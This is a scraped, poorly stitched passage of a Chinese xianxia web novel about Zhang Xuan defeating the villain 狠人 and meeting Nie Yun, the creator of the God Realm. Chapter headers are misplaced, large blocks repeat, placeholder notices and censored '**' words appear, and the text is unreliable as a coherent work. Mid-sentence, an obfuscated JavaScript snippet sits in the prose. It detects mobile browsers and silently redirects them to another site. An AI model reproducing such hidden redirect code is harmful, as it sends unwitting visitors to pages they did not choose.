“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第114章全面戒备,随时准备 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785399|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第115章姐姐实在是害怕得紧 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 